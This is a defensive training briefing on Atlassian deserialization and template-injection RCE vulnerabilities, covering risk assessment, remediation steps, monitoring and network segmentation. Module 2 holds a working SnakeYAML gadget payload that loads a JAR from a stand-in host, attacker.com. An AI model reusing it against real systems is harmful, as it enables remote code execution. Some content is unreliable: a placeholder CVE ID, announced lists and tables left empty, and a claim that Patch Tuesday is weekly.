Atlassian Vulnerability: What You Should Know

Table of Contents

1. Overview
2. Module 1: Introduction and Context
3. Module 2: Understanding Deserialization Vulnerabilities
4. Module 3: CVE Details — Affected Products and Versions
5. Module 4: CVSS Scores and Severity Ratings
6. Module 5: Risk Assessment Considerations
7. Module 6: Remediation Steps
8. Module 7: General Security Best Practices
9. Module 8: Long-Term Security Posture
10. Quick Reference: CVE Summary Table
11. Attack Flow Diagrams
12. Additional Resources

Overview

This document covers a group of critical advisories describing a series of Remote Code Execution (RCE) vulnerabilities in Atlassian products. The vulnerabilities span multiple products — including Confluence, Jira, Bitbucket, and a macOS companion app — and share a common root cause: insecure deserialization leading to arbitrary code execution.

All four CVEs discussed here carry CVSS scores of 9.0 or higher, placing them in the High to Critical range. Organizations running on-premises or private-cloud Atlassian instances (as opposed to Atlassian-hosted cloud) must treat these vulnerabilities as a top priority.

Module 1: Introduction and Context

What This Course Covers

This course is for defenders, security engineers, and system administrators who want to quickly understand:

• Whether their organization is affected
• How serious the risk is
• What immediate and longer-term actions to take

The four CVEs covered are:

Why Atlassian?

Atlassian is one of the largest players in the collaboration and DevOps platform market. Its products — Confluence (wikis/documentation), Jira (issue tracking), Bitbucket (source control), and associated tooling — are deeply embedded in enterprise software development pipelines. A compromise of these platforms gives an attacker visibility into source code, CI/CD pipelines, internal documentation, credentials, and project management data.

This breadth of access makes Atlassian products high-value targets, and it explains why vulnerabilities in these products carry such high CVSS scores.

Module 2: Understanding Deserialization Vulnerabilities

The Common Thread

All four CVEs share the same underlying class of vulnerability: insecure deserialization. Understanding this root cause is essential for grasping why these vulnerabilities are so dangerous.

Serialization vs. Deserialization

Serialization is the process of converting an in-memory object into a format that can be stored or transmitted — typically a byte stream, JSON blob, XML document, or YAML file.

Deserialization is the reverse: taking that stored/transmitted representation and reconstructing the original object in memory.

Object in memory  ──[Serialize]──►  Byte stream / YAML / JSON
Byte stream        ──[Deserialize]──►  Object in memory

Why Deserialization Is Dangerous

Certain serialization frameworks go further than simple data storage — they embed metadata about how to instantiate and configure objects, including which classes to load and which methods to call. When an application deserializes untrusted input, an attacker can craft a malicious payload that causes the deserializer to:

1. Instantiate arbitrary classes
2. Invoke arbitrary methods on those classes
3. Chain those method calls (a “gadget chain”) to execute operating-system-level commands

This is the deserialization exploit pattern:

Attacker crafts malicious serialized payload
        │
        ▼
Application deserializes input without validation
        │
        ▼
Deserialization framework instantiates attacker-chosen class
        │
        ▼
Gadget chain executes → OS command runs as application user
        │
        ▼
Remote Code Execution achieved

Attack Kill Chain Position

Deserialization exploits occur in the Exploitation phase of the attack kill chain. Once an attacker achieves code execution (gets a foothold), all subsequent options are available:

• Privilege escalation
• Lateral movement across the network
• Data exfiltration
• Data corruption or destruction
• Persistence (backdoor installation)
• Ransomware deployment

The outcome depends heavily on how the network is segmented (or, in many enterprise environments, how poorly it is segmented).

SnakeYAML: A Specific Deserialization Risk

SnakeYAML is a popular Java library for parsing and generating YAML. It supports a feature called type tags that allow a YAML document to specify the Java class that should be instantiated when the document is parsed. This feature, when exposed to untrusted input, allows an attacker to trigger instantiation of arbitrary Java classes with attacker-controlled constructor arguments.

Example of a benign SnakeYAML deserialization:

# Normal YAML object
person:
  name: Alice
  age: 30

Example of a malicious SnakeYAML payload (conceptual):

# Attacker-crafted payload using type tag to load a dangerous class
!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.com/malicious.jar"]
  ]]
]

When the application calls yaml.load(untrustedInput), this payload causes Java to download and execute code from the attacker’s server.

Template Injection (CVE-2023-22522)

Template injection is a related but distinct vulnerability. Web applications often use template engines to render dynamic content. If user-supplied input is embedded directly into a template without sanitization, an attacker can inject template directives that get evaluated server-side.

In Confluence’s case, the injected template code passes through a processing pipeline that involves deserialization, ultimately leading to RCE.

User input: {{malicious_template_expression}}
        │
        ▼
Template engine evaluates expression
        │
        ▼
Deserialization triggered internally
        │
        ▼
RCE

Historical Context: TorchServe (2022)

The 2022 CVE covered in this course is related to a prior vulnerability in TorchServe that was also based on deserialization. In that case, the management console had no authentication — it accepted any connection without requiring credentials. This meant there was no barrier between the network and the deserialization endpoint, making exploitation trivial for any attacker who could reach the service.

The recurrence of deserialization vulnerabilities across different products and years underlines that this is a persistent class of vulnerability, not a one-time issue.

Module 3: CVE Details — Affected Products and Versions

Note: Always verify exact affected version ranges in the official Atlassian advisory links. Version ranges below reflect information current at the time of this course.

CVE-2022-xxxx — SnakeYAML Deserialization

Mechanism: Malicious YAML input triggers unsafe SnakeYAML deserialization, leading to RCE.

Affected Products (non-exhaustive):

• Automation for Jira (app)
• Bitbucket Data Center
• Multiple other Atlassian products using SnakeYAML libraries

Cloud Status: Check the official advisory — apply version checks.

Key Point: This is a wide-ranging CVE touching many products that share the same underlying SnakeYAML library dependency. The breadth of impact is one reason the CVSS score is so high.

CVE-2023-22522 — Template Injection in Confluence

Mechanism: Template injection vulnerability in Confluence that leads to RCE via server-side template evaluation and deserialization.

Affected Products:

• Confluence Data Center
• Confluence Server

Affected Versions: All versions after 4.0.0

Cloud Status: Atlassian Cloud sites are NOT affected. If your Confluence instance is accessed via the atlassian.net domain, it is hosted by Atlassian and is not vulnerable.

Important Distinction:

atlassian.net domain  →  Hosted by Atlassian  →  NOT VULNERABLE
Your own domain / on-prem / private cloud  →  CHECK VERSION

CVE-2023-22523 — Assets Discovery Agent

Mechanism: Vulnerability in the Assets Discovery agent used with Jira Service Management, exploitable via deserialization.

Affected Products:

• Jira Service Management Cloud
• Jira Service Management Server
• Jira Service Management Data Center

CVE-2023-22524 — Atlassian Companion App for macOS

Mechanism: Deserialization vulnerability in the Atlassian companion app for macOS, used alongside Confluence Server and Data Center.

Affected Products:

• Atlassian companion app for macOS
• (Used with Confluence Server and Data Center)

Module 4: CVSS Scores and Severity Ratings

CVSS Score Scale Reference

Scores for the Four CVEs

Important Caveat on CVSS Scores

CVSS scores are assigned by Atlassian based on their assessment of the attack vector, complexity, privileges required, user interaction, scope, and impact. However, every organization must evaluate the score in the context of their own environment.

Factors that may increase your effective risk:

• The affected application is internet-facing
• The application has no Web Application Firewall (WAF) in front of it
• Your network is flat (no segmentation)
• No active monitoring or alerting is in place

Factors that may decrease your effective risk:

• The application is only accessible on a tightly controlled internal network
• Strong access controls (VPN, MFA, IP allowlisting) are in place
• Other compensating controls are deployed

The CVSS score is a starting point for your risk assessment, not the final answer.

Module 5: Risk Assessment Considerations

When evaluating your exposure to these vulnerabilities, work through the following questions systematically.

Question 1: Is the Application Internet-Facing?

This is the most critical factor. Most web application attacks require some path from the attacker to the vulnerable endpoint. If your Atlassian instance is directly accessible from the internet:

• Attack surface is maximized
• Exploitation can be attempted by any threat actor globally
• Time to patch becomes even more urgent

Even if not directly internet-facing, consider whether the application is reachable via:

• VPN endpoints that may be broadly accessible
• Third-party integrations or APIs
• Internal networks that could be pivoted through from other compromised systems

Question 2: Is There an Active Proof of Concept (PoC)?

At the time this course was recorded, no public PoC exploits existed for these specific CVEs. However, there were active PoCs for a prior Atlassian vulnerability from October of that year (related to their CI/CD platform).

The significance of PoC availability:

No public PoC  →  Exploitation requires more attacker capability
Public PoC available  →  Script kiddie-level attackers can exploit
Weaponized exploit in kits  →  Mass exploitation likely underway

Even without a PoC at time of recording, the severity of these vulnerabilities means sophisticated threat actors may already have developed private exploits.

Question 3: Can the Vulnerable Method Be Triggered in Your Environment?

This question asks whether the vulnerable code path is actually reachable. Consider:

• Is the vulnerable feature enabled?
• Are there any existing controls that would prevent the malicious payload from reaching the deserialization endpoint?
• Are you running a version in the affected range?

For self-hosted (on-premises or private cloud) instances running unpatched versions: yes, the vulnerable method can almost certainly be executed.

Question 4: What Is This Application’s Priority Level?

Consider what an attacker gains by compromising this specific application:

• Confluence: Internal documentation, credentials stored in pages, architecture diagrams, runbooks, API keys
• Jira / Jira Service Management: Project data, ticketing workflows, internal contact information, service desk credentials
• Bitbucket: Source code, CI/CD pipeline configurations, deployment scripts, secrets in repositories

For most organizations, these are high-priority, high-value targets. Unpatched instances should be treated as top remediation priorities.

Potential Impact After Exploitation

Once an attacker achieves code execution:

RCE Achieved
    │
    ├── Lateral Movement  →  Pivot to other systems on the same network
    │
    ├── Data Exfiltration  →  Steal source code, credentials, internal data
    │
    ├── Data Corruption  →  Destroy or modify critical data
    │
    ├── Persistence  →  Install backdoors, web shells, scheduled tasks
    │
    └── Ransomware  →  Encrypt data for extortion

The severity of the outcome depends heavily on network segmentation. A flat, unsegmented network allows an attacker who compromises one Atlassian service to move freely to any other system on that network — including production databases, infrastructure management tools, and other sensitive systems.

Module 6: Remediation Steps

CVE-2022-xxxx — SnakeYAML (Multiple Products)

Primary Remediation:

• Update all affected products to the latest patched version.
• Consult the official Atlassian advisory for the specific version upgrade path for each affected product (the list is long and product-specific).

General Rule: Patch to the latest version of each affected product.

Advisory Links: See the Resources section of the official course module.

CVE-2023-22522 — Template Injection (Confluence)

Immediate Actions (if you cannot patch immediately):

1. Back up your Confluence instance before making any changes.
2. Remove the instance from internet access — take it offline or firewall it from external access until patching is complete.

Patching:

• Apply the patch version specified in the Atlassian advisory.
• Consult the official Atlassian advisory for exact version details.

Remediation Flow:

flowchart TD
    A[Identify Confluence instance] --> B{Is it on atlassian.net?}
    B -- Yes --> C[Not vulnerable — no action needed]
    B -- No --> D{Check version > 4.0.0?}
    D -- No --> E[Not affected — verify with advisory]
    D -- Yes --> F[Take instance offline / firewall from internet]
    F --> G[Back up the instance]
    G --> H[Apply patch to latest version]
    H --> I[Restore internet access]
    I --> J[Monitor for indicators of compromise]

CVE-2023-22523 — Assets Discovery Agent (Jira Service Management)

Three-Step Remediation Process:

Step 1: Uninstall the Assets Discovery agents
        │
        ▼
Step 2: Apply the Assets Discovery agent patch
        │
        ▼
Step 3: Reinstall the patched Assets Discovery agents

Details:

• Uninstall must happen first to ensure the running vulnerable agent is stopped.
• Apply the patch before reinstalling — do not reinstall the old version.
• Verify the reinstalled agent version matches the patched version from the advisory.

CVE-2023-22524 — Atlassian Companion App for macOS

Primary Remediation:

• Confirm the version of the Atlassian companion app installed on each macOS endpoint.
• The app is automatically updated at runtime — in most cases, simply launching the app will trigger an update to the patched version.

If Automatic Update Fails:

• As a temporary fix: uninstall the Atlassian companion app.
• Monitor for a manual update release and reinstall once patched.

Verification Steps:

1. Check the currently installed version number.
2. Confirm the version is at or above the patched version listed in the advisory.
3. If below: allow auto-update to run, or uninstall and reinstall from the official source.

Remediation Priority Matrix

quadrantChart
    title Remediation Priority (Impact vs. Ease of Exploitation)
    x-axis Low Ease of Exploitation --> High Ease of Exploitation
    y-axis Low Impact --> High Impact
    quadrant-1 Patch Immediately
    quadrant-2 Patch Soon
    quadrant-3 Monitor
    quadrant-4 Patch When Possible
    CVE-2022-SnakeYAML: [0.75, 0.9]
    CVE-2023-22522: [0.7, 0.85]
    CVE-2023-22523: [0.75, 0.8]
    CVE-2023-22524: [0.6, 0.65]

Module 7: General Security Best Practices

These practices apply broadly but are especially relevant in the context of these Atlassian vulnerabilities.

1. Stay Calm and Methodical

When a critical advisory drops, the first reaction should be a structured assessment — not panic. Rushed, unplanned responses to security incidents can cause additional problems (broken patches, missed systems, inadequate testing). Work through a clear process:

1. Identify affected assets in your inventory
2. Assess actual exposure for each
3. Prioritize by risk
4. Execute remediation
5. Verify remediation was successful
6. Monitor for signs of exploitation

2. Monitor for Suspicious Traffic

Regardless of patch status, establish or review monitoring on all Atlassian-facing traffic:

• Watch for unusual request patterns (e.g., unexpected POST requests to template rendering endpoints)
• Alert on outbound connections from Atlassian servers to unexpected external hosts (potential sign of active exploitation or command-and-control communication)
• Correlate logs from the web server, application, and network layers

3. Stay Current with Advisories

• Subscribe to the Atlassian security advisory mailing list or RSS feed
• Set up alerts for CVEs affecting your product stack
• Review advisories promptly — the window between advisory publication and active exploitation can be measured in hours for high-profile vulnerabilities

4. Maintain Current Patches

Keep all Atlassian products (and all other software) on a regular patch cycle. The phrase “Patch Tuesday, Reboot Wednesday” reflects the industry norm of applying vendor patches on a weekly cadence. Deviating from this significantly increases exposure windows.

5. Maintain Backups

These vulnerabilities illustrate why regular, tested backups are non-negotiable:

• Backups allow recovery from data destruction or ransomware
• Backups are a prerequisite for safe patch application (you need a known-good state to roll back to if the patch causes issues)
• Backups should be stored offline or in a separate environment so that an attacker who compromises the primary system cannot also corrupt the backups

6. Have an Incident Response Plan

• Document your IR process before an incident occurs
• Include Atlassian products in the scope of your IR runbooks
• Test the plan regularly — a plan that has never been exercised will fail under pressure
• Include contact information for key stakeholders, your legal team, and any relevant third-party IR firms

7. Review Business Continuity Arrangements

Critical advisories like these are a timely reminder to ask:

• What happens if Confluence goes offline for 48 hours?
• What happens if Jira is compromised and data is exfiltrated?
• Do we have alternative communication and documentation channels?

Module 8: Long-Term Security Posture

Establish a Security Baseline

The most effective way to detect anomalous activity is to have a clear, documented baseline of normal system behavior. Without a baseline:

• Unusual outbound connections may go unnoticed
• Unexpected processes spawned by Atlassian services may not trigger alerts
• Subtle signs of lateral movement are invisible

Baseline elements to document:

• Normal network traffic patterns (volume, destinations, protocols)
• Expected running processes on Atlassian servers
• Typical user activity patterns (login times, geographic locations, feature usage)
• Expected system resource consumption (CPU, memory, disk I/O)

Behavioral Analysis

With a baseline in place, behavioral analysis can identify deviations that may indicate exploitation:

flowchart LR
    A[Establish Baseline] --> B[Collect Telemetry]
    B --> C[Compare to Baseline]
    C --> D{Deviation Detected?}
    D -- No --> B
    D -- Yes --> E[Alert / Investigate]
    E --> F{Confirmed Incident?}
    F -- No --> G[Tune Baseline]
    F -- Yes --> H[Execute IR Plan]

Network Segmentation

These vulnerabilities highlight the critical importance of network segmentation. If Atlassian servers are on a flat network:

• Compromising one server grants access to all other systems on that segment
• Lateral movement is trivial once initial access is achieved
• The blast radius of a successful attack is maximized

Recommended segmentation approach:

Internet
    │
    ▼
DMZ / WAF Layer
    │
    ▼
Application Servers (Atlassian)  ◄──── Restricted egress only
    │
    ▼  (Controlled, logged, firewall-enforced)
Database / Backend Network

Atlassian application servers should not have unrestricted access to:

• Production databases outside their own
• Internal admin networks
• Other application servers (unless there is a documented, required dependency)

Continuous Monitoring of Advisories

Security is not a point-in-time activity. These vulnerabilities will continue to emerge. The long-term defense strategy requires:

• Regular review of Atlassian security bulletins
• Integration of CVE feeds into your vulnerability management tooling
• Scheduled vulnerability scans of all Atlassian instances
• Periodic penetration testing that includes Atlassian products in scope

Quick Reference: CVE Summary Table

Attack Flow Diagrams

Generic Deserialization Attack Flow

sequenceDiagram
    participant A as Attacker
    participant W as Web/API Layer
    participant D as Deserialization Engine
    participant OS as Operating System

    A->>W: Craft malicious serialized payload
    W->>D: Pass input for deserialization (no validation)
    D->>D: Instantiate attacker-chosen class
    D->>D: Execute gadget chain
    D->>OS: Spawn process / execute OS command
    OS-->>A: Command output / reverse shell
    Note over A,OS: Attacker now has RCE as application user

SnakeYAML Exploitation Flow

sequenceDiagram
    participant A as Attacker
    participant App as Atlassian Application
    participant SY as SnakeYAML Parser
    participant JVM as JVM / Classloader
    participant C2 as Attacker C2 Server

    A->>App: Submit malicious YAML payload with !! type tag
    App->>SY: yaml.load(untrustedInput)
    SY->>JVM: Instantiate class specified by !! tag
    JVM->>C2: Download malicious JAR / class
    C2-->>JVM: Deliver malicious code
    JVM->>JVM: Execute attacker code in JVM context
    JVM-->>A: RCE achieved

Template Injection (CVE-2023-22522) Flow

sequenceDiagram
    participant A as Attacker
    participant CF as Confluence Server
    participant TE as Template Engine
    participant D as Deserializer

    A->>CF: Submit page/content with malicious template expression
    CF->>TE: Render template with user input embedded
    TE->>D: Template evaluation triggers deserialization
    D->>CF: Execute arbitrary code in Confluence process
    CF-->>A: RCE achieved (reverse shell / data exfil)

Remediation Decision Flow

flowchart TD
    START([Start: Advisory Received]) --> INVENTORY[Identify all Atlassian instances]
    INVENTORY --> CHECK{Is instance self-hosted?}
    CHECK -- No, Atlassian Cloud --> SAFE[Verify domain is atlassian.net]
    SAFE --> SAFE2[Cloud instances not affected — monitor advisory updates]
    CHECK -- Yes, self-hosted --> VERSION{Check version in affected range?}
    VERSION -- No --> MONITOR[Not currently affected — monitor for future patches]
    VERSION -- Yes --> INTERNET{Is instance internet-facing?}
    INTERNET -- Yes --> URGENT[URGENT: Take offline or firewall immediately]
    URGENT --> BACKUP[Backup the instance]
    INTERNET -- No --> BACKUP
    BACKUP --> PATCH[Apply vendor patch to latest version]
    PATCH --> VERIFY[Verify patch applied correctly]
    VERIFY --> RESTORE[Restore service access]
    RESTORE --> IOC[Scan for indicators of compromise]
    IOC --> MONITOR2[Continue monitoring — subscribe to advisories]

Additional Resources

The following types of resources should be consulted for the most current information:

• Atlassian Security Advisories: The official Atlassian security advisory page lists all CVEs with detailed affected version ranges and patch instructions. Always refer to the advisory directly for authoritative version information.
• Atlassian Security Bulletin Subscriptions: Subscribe to receive email notifications when new security bulletins are published.
• National Vulnerability Database (NVD): https://nvd.nist.gov — search by CVE ID for standardized scoring and reference links.
• Vendor Patch Downloads: Access official Atlassian patch downloads through the Atlassian Marketplace and product download pages to ensure patch authenticity.

This document was generated from course transcript and slide materials. Always cross-reference with official Atlassian security advisories for the most current version ranges and patch guidance, as these details change as new patches are released.

Search Terms

atlassian · vulnerability · know · briefings · networking · systems · security · deserialization · flow · cve-2023-22522 · injection · question · snakeyaml · template · attack · cvss · remediation · scores · advisories · agent · app · application · assets · companion